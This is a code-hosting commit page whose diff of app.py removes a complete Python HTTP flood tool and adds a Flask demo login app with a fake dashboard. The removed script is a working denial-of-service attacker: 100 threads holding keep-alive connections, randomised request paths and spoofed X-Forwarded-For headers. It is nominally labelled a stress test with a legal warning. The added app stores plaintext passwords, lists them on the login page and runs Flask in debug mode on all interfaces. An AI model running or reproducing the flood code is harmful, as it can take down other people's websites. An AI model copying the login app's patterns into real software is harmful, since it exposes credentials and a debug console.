Spaces:

cnmksjs
/

test0

Paused

App Files Files Community

cnmksjs commited on Jan 20

Commit

2630ea2

verified ·

1 Parent(s): 535dfd0

Update app.py

Browse files

Files changed (1) hide show

app.py +690 -265

app.py CHANGED Viewed

@@ -1,282 +1,707 @@
-import socket
-import threading
-import time
-import random
-import ssl
-import sys
-from urllib.parse import urlparse
-# ====== 配置区 ======
-# !!! 必须修改为你要测试的完整URL !!!
-# 示例: "http://example.com/api/test" 或 "https://example.com:8080/path"
-TARGET_URL = "http://your-own-test-site.com/some/path"
-# ===================
-# 解析目标URL
-def parse_target_url(url):
-    """解析URL，返回协议、域名、端口、路径"""
-    parsed = urlparse(url)
-    # 获取协议
-    scheme = parsed.scheme if parsed.scheme else 'http'
-    # 获取域名
-    domain = parsed.hostname
-    if not domain:
-        print(f"❌ 无法解析URL中的域名: {url}")
-        sys.exit(1)
-    # 获取端口
-    if parsed.port:
-        port = parsed.port
-    elif scheme == 'https':
-        port = 443
-    else:
-        port = 80
-    # 获取路径
-    path = parsed.path if parsed.path else '/'
-    if parsed.query:
-        path += f"?{parsed.query}"
-    use_https = (scheme == 'https')
-    print(f"✅ URL解析结果:")
-    print(f"   协议: {scheme} {'(HTTPS)' if use_https else '(HTTP)'}")
-    print(f"   域名: {domain}")
-    print(f"   端口: {port}")
-    print(f"   路径: {path}")
-    return domain, port, path, use_https
-# 攻击参数
-WORKER_THREADS = 100            # 并发工作线程数
-CONNECTIONS_PER_WORKER = 8      # 每个工作线程保持的连接数
-REQUEST_INTERVAL = 0.05         # 请求间隔(秒)
-RUN_DURATION = 30               # 运行时长(秒)，0为无限
-# 统计数据
-stats = {
-    'total_requests': 0,
-    'successful': 0,
-    'failed': 0,
-    'active_connections': 0
-}
-stats_lock = threading.Lock()
-def update_stats(success=True):
-    with stats_lock:
-        stats['total_requests'] += 1
-        if success:
-            stats['successful'] += 1
-        else:
-            stats['failed'] += 1
-def print_stats():
-    with stats_lock:
-        elapsed = time.time() - stats.get('start_time', time.time())
-        rps = stats['total_requests'] / elapsed if elapsed > 0 else 0
-        success_rate = (stats['successful'] / stats['total_requests'] * 100) if stats['total_requests'] > 0 else 0
-        print(f"\r📊 请求: {stats['total_requests']} | 成功: {stats['successful']} | "
-              f"失败: {stats['failed']} | 成功率: {success_rate:.1f}% | "
-              f"RPS: {rps:.1f} | 活跃连接: {stats['active_connections']}", end='')
-class HTTPAttacker:
-    def __init__(self, target_domain, target_port, base_path, use_https):
-        self.domain = target_domain
-        self.port = target_port
-        self.base_path = base_path
-        self.use_https = use_https
-        self.ip = None
-        # 解析域名获取IP
-        try:
-            self.ip = socket.gethostbyname(self.domain)
-            print(f"✅ 域名解析: {self.domain} -> {self.ip}")
-        except:
-            print(f"❌ 无法解析域名: {self.domain}")
-            sys.exit(1)
-    def create_connection(self):
-        """创建TCP/SSL连接"""
-        try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(5)
-            sock.connect((self.ip, self.port))
-            if self.use_https:
-                context = ssl.create_default_context()
-                sock = context.wrap_socket(sock, server_hostname=self.domain)
-            with stats_lock:
-                stats['active_connections'] += 1
-            return sock
-        except Exception as e:
-            return None
-    def create_http_request(self, connection_id):
-        """创建HTTP请求"""
-        # 随机化请求路径
-        paths = [self.base_path]
-        if random.random() > 0.5:
-            # 添加随机查询参数
-            paths.append(f"{self.base_path}?id={random.randint(1,1000)}")
-        if random.random() > 0.7:
-            # 添加随机后缀
-            paths.append(f"{self.base_path}/extra/{random.randint(1,100)}")
-        path = random.choice(paths)
-        # 请求头列表
-        headers = [
-            f"GET {path} HTTP/1.1",
-            f"Host: {self.domain}",
-            f"User-Agent: Mozilla/5.0 (Connection-{connection_id})",
-            f"X-Forwarded-For: {random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
-            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-            "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8",
-            "Accept-Encoding: gzip, deflate",
-            "Connection: keep-alive",
-            "Cache-Control: max-age=0",
-            "\r\n"
-        ]
-        return "\r\n".join(headers).encode('utf-8')
-    def attack_worker(self, worker_id):
-        """攻击工作线程"""
-        connections = []
-        # 初始化连接池
-        for i in range(CONNECTIONS_PER_WORKER):
-            sock = self.create_connection()
-            if sock:
-                connections.append(sock)
-            time.sleep(0.1)
-        end_time = time.time() + RUN_DURATION if RUN_DURATION > 0 else float('inf')
-        # 攻击循环
-        while time.time() < end_time and connections:
-            for sock in connections[:]:
-                try:
-                    request = self.create_http_request(worker_id)
-                    sock.send(request)
-                    update_stats(True)
-                    # 部分接收响应
-                    if random.random() > 0.3:
-                        sock.settimeout(1)
-                        try:
-                            sock.recv(1024)
-                        except:
-                            pass
-                    # 随机延迟
-                    time.sleep(random.uniform(REQUEST_INTERVAL/2, REQUEST_INTERVAL*2))
-                except Exception as e:
-                    # 连接失败，移除并尝试重建
-                    connections.remove(sock)
-                    with stats_lock:
-                        stats['active_connections'] -= 1
-                    update_stats(False)
-                    # 重建连接
-                    new_sock = self.create_connection()
-                    if new_sock:
-                        connections.append(new_sock)
-            # 维持连接池大小
-            while len(connections) < CONNECTIONS_PER_WORKER:
-                new_sock = self.create_connection()
-                if new_sock:
-                    connections.append(new_sock)
-                time.sleep(0.2)
-        # 清理连接
-        for sock in connections:
-            try:
-                sock.close()
-                with stats_lock:
-                    stats['active_connections'] -= 1
-            except:
-                pass
-def main():
-    """主函数"""
-    print("=" * 70)
-    print("🌐 HTTP压力测试工具 - URL版")
-    print("=" * 70)
-    # 法律警告
-    print("\n⚠️  ⚠️  ⚠️  重要法律警告:")
-    print("1. 仅限自有或获得书面授权的测试环境使用")
-    print("2. 对第三方网站攻击违反《网络安全法》第27条")
-    print("3. 违法攻击将面临最高7年有期徒刑")
-    print("=" * 70)
-    # 解析URL
-    target_domain, target_port, base_path, use_https = parse_target_url(TARGET_URL)
-    if target_domain == "your-own-test-site.com":
-        print("\n❌ 请将 TARGET_URL 修改为你要测试的实际URL")
-        sys.exit(1)
-    # 确认
-    confirm = input(f"\n目标URL: {TARGET_URL}\n确认开始压力测试？(输入'YES'继续): ")
-    if confirm != "YES":
-        print("操作取消")
-        sys.exit(0)
-    print(f"\n🚀 启动攻击:")
-    print(f"   工作线程: {WORKER_THREADS}")
-    print(f"   每线程连接数: {CONNECTIONS_PER_WORKER}")
-    print(f"   总并发连接: ~{WORKER_THREADS * CONNECTIONS_PER_WORKER}")
-    print(f"   运行时长: {'无限' if RUN_DURATION == 0 else f'{RUN_DURATION}秒'}")
-    print("=" * 70)
-    stats['start_time'] = time.time()
-    # 创建攻击器实例
-    attacker = HTTPAttacker(target_domain, target_port, base_path, use_https)
-    # 启动统计线程
-    def stats_printer():
-        while True:
-            print_stats()
-            time.sleep(1)
-    stats_thread = threading.Thread(target=stats_printer, daemon=True)
-    stats_thread.start()
-    # 启动工作线程
-    threads = []
-    for i in range(WORKER_THREADS):
-        t = threading.Thread(target=attacker.attack_worker, args=(i,), daemon=True)
-        t.start()
-        threads.append(t)
-        time.sleep(0.05)  # 控制线程启动速度
-    print(f"\n✅ 已启动 {len(threads)} 个工作线程")
-    print("⏸️  按 Ctrl+C 停止测试\n")
-    try:
-        # 等待结束
-        if RUN_DURATION > 0:
-            time.sleep(RUN_DURATION)
-        else:
-            while True:
-                time.sleep(1)
-    except KeyboardInterrupt:
-        print("\n\n🛑 正在停止测试...")
-    finally:
-        # 等待线程结束
-        time.sleep(2)
-        print_stats()
-        print("\n\n📈 测试结束")
-        print("=" * 70)
-if __name__ == "__main__":
-    main()

+from flask import Flask, render_template_string, request, redirect, session, jsonify
+import os
+from datetime import datetime
+app = Flask(__name__)
+app.secret_key = os.urandom(24)
+# 预定义的用户名和密码（可修改）
+USERS = {
+    "admin": "admin123",
+    "user": "password123",
+    "guest": "guest123"
+}
+# HTML模板
+LOGIN_TEMPLATE = '''
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>安全访问系统 - 登录</title>
+    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
+    <style>
+        * { font-family: 'Segoe UI', system-ui, sans-serif; }
+        body {
+            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
+            min-height: 100vh;
+            display: flex;
+            align-items: center;
+            padding: 20px;
+        }
+        .login-container {
+            max-width: 420px;
+            width: 100%;
+            margin: auto;
+        }
+        .login-card {
+            background: rgba(255, 255, 255, 0.95);
+            backdrop-filter: blur(10px);
+            border-radius: 20px;
+            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2);
+            overflow: hidden;
+            border: none;
+        }
+        .login-header {
+            background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
+            padding: 40px 30px;
+            text-align: center;
+            color: white;
+        }
+        .login-header h2 {
+            font-weight: 700;
+            margin-bottom: 10px;
+        }
+        .login-header p {
+            opacity: 0.9;
+            margin: 0;
+        }
+        .login-body {
+            padding: 40px;
+        }
+        .form-control {
+            padding: 15px;
+            border-radius: 10px;
+            border: 2px solid #e0e0e0;
+            transition: all 0.3s;
+        }
+        .form-control:focus {
+            border-color: #4361ee;
+            box-shadow: 0 0 0 0.25rem rgba(67, 97, 238, 0.25);
+        }
+        .btn-login {
+            background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
+            color: white;
+            padding: 15px;
+            border-radius: 10px;
+            font-weight: 600;
+            border: none;
+            width: 100%;
+            transition: transform 0.3s;
+        }
+        .btn-login:hover {
+            transform: translateY(-2px);
+            box-shadow: 0 10px 20px rgba(67, 97, 238, 0.3);
+        }
+        .password-toggle {
+            position: absolute;
+            right: 15px;
+            top: 50%;
+            transform: translateY(-50%);
+            cursor: pointer;
+            color: #666;
+        }
+        .form-group {
+            position: relative;
+        }
+        .user-accounts {
+            background: #f8f9fa;
+            border-radius: 10px;
+            padding: 15px;
+            margin-top: 20px;
+        }
+        .user-accounts h6 {
+            color: #4361ee;
+            margin-bottom: 10px;
+        }
+        .user-accounts ul {
+            margin: 0;
+            padding-left: 20px;
+        }
+        .user-accounts li {
+            margin-bottom: 5px;
+            font-size: 14px;
+        }
+        .copyright {
+            text-align: center;
+            margin-top: 20px;
+            color: rgba(255, 255, 255, 0.8);
+            font-size: 14px;
+        }
+        .alert {
+            border-radius: 10px;
+            border: none;
+        }
+        .logo {
+            font-size: 2.5rem;
+            margin-bottom: 15px;
+            color: white;
+        }
+    </style>
+</head>
+<body>
+    <div class="login-container">
+        <div class="login-card shadow-lg">
+            <div class="login-header">
+                <div class="logo">
+                    <i class="fas fa-shield-alt"></i>
+                </div>
+                <h2>安全访问系统</h2>
+                <p>请输入凭证以继续</p>
+            </div>
+            <div class="login-body">
+                {% if error %}
+                <div class="alert alert-danger alert-dismissible fade show">
+                    {{ error }}
+                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
+                </div>
+                {% endif %}
+                <form method="POST" action="/login">
+                    <div class="mb-4">
+                        <label class="form-label fw-bold">用户名</label>
+                        <div class="form-group">
+                            <input type="text" class="form-control" name="username" placeholder="输入用户名" required>
+                            <span class="password-toggle">
+                                <i class="fas fa-user"></i>
+                            </span>
+                        </div>
+                    </div>
+                    <div class="mb-4">
+                        <label class="form-label fw-bold">密码</label>
+                        <div class="form-group">
+                            <input type="password" class="form-control" id="password" name="password" placeholder="输入密码" required>
+                            <span class="password-toggle" onclick="togglePassword()">
+                                <i class="fas fa-eye"></i>
+                            </span>
+                        </div>
+                    </div>
+                    <button type="submit" class="btn btn-login mb-4">
+                        <i class="fas fa-sign-in-alt me-2"></i>登录
+                    </button>
+                    <div class="user-accounts">
+                        <h6><i class="fas fa-key me-2"></i>测试账户</h6>
+                        <ul>
+                            <li><strong>admin</strong> / admin123</li>
+                            <li><strong>user</strong> / password123</li>
+                            <li><strong>guest</strong> / guest123</li>
+                        </ul>
+                    </div>
+                </form>
+            </div>
+        </div>
+        <div class="copyright">
+            © {{ current_year }} 安全访问系统 | 仅限授权访问
+        </div>
+    </div>
+    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
+    <script>
+        function togglePassword() {
+            const passwordInput = document.getElementById('password');
+            const icon = document.querySelector('#password + .password-toggle i');
+            if (passwordInput.type === 'password') {
+                passwordInput.type = 'text';
+                icon.className = 'fas fa-eye-slash';
+            } else {
+                passwordInput.type = 'password';
+                icon.className = 'fas fa-eye';
+            }
+        }
+        // 自动聚焦用户名输入框
+        document.addEventListener('DOMContentLoaded', function() {
+            document.querySelector('input[name="username"]').focus();
+        });
+    </script>
+</body>
+</html>
+'''
+DASHBOARD_TEMPLATE = '''
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>安全仪表板</title>
+    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
+    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
+    <style>
+        * { font-family: 'Segoe UI', system-ui, sans-serif; }
+        body {
+            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
+            min-height: 100vh;
+        }
+        .navbar {
+            background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
+            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
+        }
+        .navbar-brand {
+            font-weight: 700;
+            font-size: 1.5rem;
+        }
+        .welcome-card {
+            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
+            color: white;
+            border-radius: 20px;
+            border: none;
+            margin-bottom: 30px;
+            overflow: hidden;
+        }
+        .welcome-content {
+            padding: 40px;
+        }
+        .welcome-content h1 {
+            font-weight: 700;
+            font-size: 2.5rem;
+        }
+        .stat-card {
+            border-radius: 15px;
+            border: none;
+            transition: transform 0.3s, box-shadow 0.3s;
+            height: 100%;
+        }
+        .stat-card:hover {
+            transform: translateY(-5px);
+            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1) !important;
+        }
+        .stat-icon {
+            width: 60px;
+            height: 60px;
+            border-radius: 12px;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1.8rem;
+        }
+        .card-1 { background: linear-gradient(135deg, #4cc9f0 0%, #4361ee 100%); }
+        .card-2 { background: linear-gradient(135deg, #f72585 0%, #b5179e 100%); }
+        .card-3 { background: linear-gradient(135deg, #7209b7 0%, #3a0ca3 100%); }
+        .card-4 { background: linear-gradient(135deg, #3a86ff 0%, #023e8a 100%); }
+        .chart-container {
+            background: white;
+            border-radius: 15px;
+            padding: 25px;
+            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
+            margin-bottom: 30px;
+        }
+        .notification-item {
+            padding: 15px;
+            border-left: 4px solid #4361ee;
+            background: #f8f9fa;
+            border-radius: 8px;
+            margin-bottom: 10px;
+            transition: all 0.3s;
+        }
+        .notification-item:hover {
+            background: #e9ecef;
+            transform: translateX(5px);
+        }
+        .quick-action-btn {
+            padding: 15px;
+            border-radius: 12px;
+            font-weight: 600;
+            transition: all 0.3s;
+            margin-bottom: 10px;
+            width: 100%;
+            border: 2px solid transparent;
+        }
+        .quick-action-btn:hover {
+            transform: translateY(-3px);
+            box-shadow: 0 7px 15px rgba(0, 0, 0, 0.1);
+        }
+        .footer {
+            background: #1a1a2e;
+            color: white;
+            padding: 30px 0;
+            margin-top: 50px;
+        }
+        .user-avatar {
+            width: 50px;
+            height: 50px;
+            background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
+            border-radius: 50%;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1.5rem;
+            color: white;
+            font-weight: bold;
+        }
+        .logout-btn {
+            background: transparent;
+            border: 2px solid rgba(255, 255, 255, 0.5);
+            color: white;
+            border-radius: 10px;
+            padding: 8px 20px;
+            transition: all 0.3s;
+        }
+        .logout-btn:hover {
+            background: rgba(255, 255, 255, 0.1);
+            border-color: white;
+        }
+        .login-time {
+            background: rgba(255, 255, 255, 0.1);
+            border-radius: 10px;
+            padding: 8px 15px;
+            font-size: 0.9rem;
+        }
+    </style>
+</head>
+<body>
+    <!-- 导航栏 -->
+    <nav class="navbar navbar-expand-lg navbar-dark">
+        <div class="container">
+            <a class="navbar-brand" href="#">
+                <i class="fas fa-shield-alt me-2"></i>安全仪表板
+            </a>
+            <div class="d-flex align-items-center">
+                <div class="login-time me-3">
+                    <i class="fas fa-clock me-1"></i> {{ current_time }}
+                </div>
+                <div class="user-avatar me-3">
+                    {{ username[0].upper() }}
+                </div>
+                <div class="d-none d-md-block">
+                    <span class="text-white me-2">欢迎, <strong>{{ username }}</strong></span>
+                </div>
+                <a href="/logout" class="logout-btn">
+                    <i class="fas fa-sign-out-alt me-1"></i> 退出
+                </a>
+            </div>
+        </div>
+    </nav>
+    <!-- 主内容 -->
+    <div class="container py-4">
+        <!-- 欢迎卡片 -->
+        <div class="card welcome-card shadow-lg">
+            <div class="welcome-content">
+                <h1><i class="fas fa-tachometer-alt me-3"></i>欢迎回来！</h1>
+                <p class="lead mb-0">您正在访问受保护的安全仪表板。所有数据都经过加密保护。</p>
+            </div>
+        </div>
+        <div class="row mb-4">
+            <!-- 统计卡片 -->
+            <div class="col-md-3 col-sm-6 mb-4">
+                <div class="card stat-card shadow-sm text-white card-1">
+                    <div class="card-body">
+                        <div class="d-flex align-items-center">
+                            <div class="stat-icon me-3">
+                                <i class="fas fa-sign-in-alt"></i>
+                            </div>
+                            <div>
+                                <h2 class="mb-0">142</h2>
+                                <p class="mb-0 opacity-75">登录次数</p>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </div>
+            <div class="col-md-3 col-sm-6 mb-4">
+                <div class="card stat-card shadow-sm text-white card-2">
+                    <div class="card-body">
+                        <div class="d-flex align-items-center">
+                            <div class="stat-icon me-3">
+                                <i class="fas fa-clock"></i>
+                            </div>
+                            <div>
+                                <h2 class="mb-0">36.5h</h2>
+                                <p class="mb-0 opacity-75">在线时长</p>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </div>
+            <div class="col-md-3 col-sm-6 mb-4">
+                <div class="card stat-card shadow-sm text-white card-3">
+                    <div class="card-body">
+                        <div class="d-flex align-items-center">
+                            <div class="stat-icon me-3">
+                                <i class="fas fa-tasks"></i>
+                            </div>
+                            <div>
+                                <h2 class="mb-0">89%</h2>
+                                <p class="mb-0 opacity-75">完成进度</p>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </div>
+            <div class="col-md-3 col-sm-6 mb-4">
+                <div class="card stat-card shadow-sm text-white card-4">
+                    <div class="card-body">
+                        <div class="d-flex align-items-center">
+                            <div class="stat-icon me-3">
+                                <i class="fas fa-shield-alt"></i>
+                            </div>
+                            <div>
+                                <h2 class="mb-0">A+</h2>
+                                <p class="mb-0 opacity-75">安全评级</p>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </div>
+        <div class="row">
+            <!-- 图表区域 -->
+            <div class="col-lg-8 mb-4">
+                <div class="chart-container">
+                    <h4 class="mb-4"><i class="fas fa-chart-line me-2"></i>访问统计图表</h4>
+                    <canvas id="accessChart" height="250"></canvas>
+                </div>
+                <div class="chart-container">
+                    <h4 class="mb-4"><i class="fas fa-user-check me-2"></i>用户活动</h4>
+                    <div class="row">
+                        <div class="col-md-6">
+                            <h6 class="text-muted">最近登录</h6>
+                            <ul class="list-group list-group-flush">
+                                <li class="list-group-item d-flex justify-content-between">
+                                    <span><i class="fas fa-circle text-success me-2"></i> admin</span>
+                                    <small class="text-muted">刚刚</small>
+                                </li>
+                                <li class="list-group-item d-flex justify-content-between">
+                                    <span><i class="fas fa-circle text-warning me-2"></i> user</span>
+                                    <small class="text-muted">2小时前</small>
+                                </li>
+                                <li class="list-group-item d-flex justify-content-between">
+                                    <span><i class="fas fa-circle text-secondary me-2"></i> guest</span>
+                                    <small class="text-muted">昨天</small>
+                                </li>
+                            </ul>
+                        </div>
+                        <div class="col-md-6">
+                            <h6 class="text-muted">系统状态</h6>
+                            <div class="progress mb-3" style="height: 10px;">
+                                <div class="progress-bar bg-success" style="width: 85%"></div>
+                            </div>
+                            <p class="small mb-1">CPU使用率: <strong>32%</strong></p>
+                            <p class="small mb-1">内存使用: <strong>4.2/8GB</strong></p>
+                            <p class="small mb-0">存储空间: <strong>128/256GB</strong></p>
+                        </div>
+                    </div>
+                </div>
+            </div>
+            <!-- 侧边栏 -->
+            <div class="col-lg-4">
+                <!-- 通知 -->
+                <div class="chart-container mb-4">
+                    <h4 class="mb-4"><i class="fas fa-bell me-2"></i>系统通知</h4>
+                    <div class="notification-item">
+                        <h6>安全更新完成</h6>
+                        <p class="small mb-0 text-muted">系统已自动更新到最新安全版本</p>
+                        <small class="text-primary">今天 10:30</small>
+                    </div>
+                    <div class="notification-item">
+                        <h6>登录提醒</h6>
+                        <p class="small mb-0 text-muted">您的账户有新的登录记录</p>
+                        <small class="text-primary">昨天 14:25</small>
+                    </div>
+                    <div class="notification-item">
+                        <h6>维护通知</h6>
+                        <p class="small mb-0 text-muted">系统将于本周日进行例行维护</p>
+                        <small class="text-primary">3天前</small>
+                    </div>
+                </div>
+                <!-- 快速操作 -->
+                <div class="chart-container">
+                    <h4 class="mb-4"><i class="fas fa-bolt me-2"></i>快速操作</h4>
+                    <div class="row g-2">
+                        <div class="col-6">
+                            <button class="quick-action-btn btn btn-outline-primary">
+                                <i class="fas fa-cog me-2"></i>设置
+                            </button>
+                        </div>
+                        <div class="col-6">
+                            <button class="quick-action-btn btn btn-outline-success">
+                                <i class="fas fa-file-alt me-2"></i>报告
+                            </button>
+                        </div>
+                        <div class="col-6">
+                            <button class="quick-action-btn btn btn-outline-info" onclick="refreshData()">
+                                <i class="fas fa-sync-alt me-2"></i>刷新
+                            </button>
+                        </div>
+                        <div class="col-6">
+                            <a href="/logout" class="quick-action-btn btn btn-outline-danger">
+                                <i class="fas fa-sign-out-alt me-2"></i>退出
+                            </a>
+                        </div>
+                    </div>
+                </div>
+                <!-- 用户信息 -->
+                <div class="chart-container mt-4">
+                    <h4 class="mb-4"><i class="fas fa-user me-2"></i>账户信息</h4>
+                    <div class="d-flex align-items-center mb-3">
+                        <div class="user-avatar me-3">
+                            {{ username[0].upper() }}
+                        </div>
+                        <div>
+                            <h5 class="mb-0">{{ username }}</h5>
+                            <p class="text-muted small mb-0">
+                                权限: <span class="badge bg-primary">
+                                    {% if username == 'admin' %}管理员{% else %}普通用户{% endif %}
+                                </span>
+                            </p>
+                        </div>
+                    </div>
+                    <div class="small text-muted">
+                        <p><i class="fas fa-calendar me-2"></i> 注册日期: 2023-01-15</p>
+                        <p><i class="fas fa-laptop me-2"></i> 最后登录IP: 192.168.1.{{ range(100, 255)|random }}</p>
+                        <p><i class="fas fa-map-marker-alt me-2"></i> 登录位置: 中国</p>
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <!-- 页脚 -->
+    <div class="footer">
+        <div class="container text-center">
+            <p class="mb-2">
+                <i class="fas fa-shield-alt me-2"></i>安全访问系统 v2.1
+            </p>
+            <p class="mb-0 text-white-50 small">
+                © {{ current_year }} 安全技术有限公司 | 所有数据均经过加密处理
+            </p>
+        </div>
+    </div>
+    <script>
+        // 初始化图表
+        document.addEventListener('DOMContentLoaded', function() {
+            const ctx = document.getElementById('accessChart').getContext('2d');
+            const chart = new Chart(ctx, {
+                type: 'line',
+                data: {
+                    labels: ['一月', '二月', '三月', '四月', '五月', '六月', '七月'],
+                    datasets: [{
+                        label: '访问量',
+                        data: [65, 78, 90, 81, 86, 95, 120],
+                        borderColor: '#4361ee',
+                        backgroundColor: 'rgba(67, 97, 238, 0.1)',
+                        borderWidth: 3,
+                        fill: true,
+                        tension: 0.4
+                    }]
+                },
+                options: {
+                    responsive: true,
+                    plugins: {
+                        legend: {
+                            display: true
+                        }
+                    },
+                    scales: {
+                        y: {
+                            beginAtZero: true,
+                            grid: {
+                                drawBorder: false
+                            }
+                        },
+                        x: {
+                            grid: {
+                                display: false
+                            }
+                        }
+                    }
+                }
+            });
+        });
+        function refreshData() {
+            alert('数据已刷新！');
+            location.reload();
+        }
+        // 模拟实时更新时间
+        function updateTime() {
+            const now = new Date();
+            const timeString = now.toLocaleTimeString('zh-CN');
+            document.querySelector('.login-time').innerHTML =
+                `<i class="fas fa-clock me-1"></i> ${timeString}`;
+        }
+        setInterval(updateTime, 1000);
+    </script>
+</body>
+</html>
+'''
+@app.route('/')
+def index():
+    if 'username' in session:
+        return redirect('/dashboard')
+    return render_template_string(LOGIN_TEMPLATE, current_year=datetime.now().year)
+@app.route('/login', methods=['GET', 'POST'])
+def login():
+    if request.method == 'POST':
+        username = request.form.get('username', '').strip()
+        password = request.form.get('password', '')
+        if username in USERS and USERS[username] == password:
+            session['username'] = username
+            session['login_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+            return redirect('/dashboard')
+        else:
+            return render_template_string(
+                LOGIN_TEMPLATE,
+                error="用户名或密码错误！",
+                current_year=datetime.now().year
+            )
+    return redirect('/')
+@app.route('/dashboard')
+def dashboard():
+    if 'username' not in session:
+        return redirect('/')
+    current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+    return render_template_string(
+        DASHBOARD_TEMPLATE,
+        username=session['username'],
+        current_time=current_time,
+        current_year=datetime.now().year
+    )
+@app.route('/logout')
+def logout():
+    session.clear()
+    return redirect('/')
+@app.route('/api/stats')
+def api_stats():
+    if 'username' not in session:
+        return jsonify({'error': '未授权'}), 401
+    return jsonify({
+        'users_online': 42,
+        'requests_today': 1256,
+        'response_time': '45ms',
+        'uptime': '99.8%'
+    })
+if __name__ == '__main__':
+    print("="*60)
+    print("🔒 安全访问系统已启动")
+    print("="*60)
+    print(f"📁 访问地址: http://localhost:5000")
+    print(f"👤 可用账户:")
+    for user, pwd in USERS.items():
+        print(f"   用户名: {user} | 密码: {pwd}")
+    print("="*60)
+    app.run(debug=True, host='0.0.0.0', port=5000)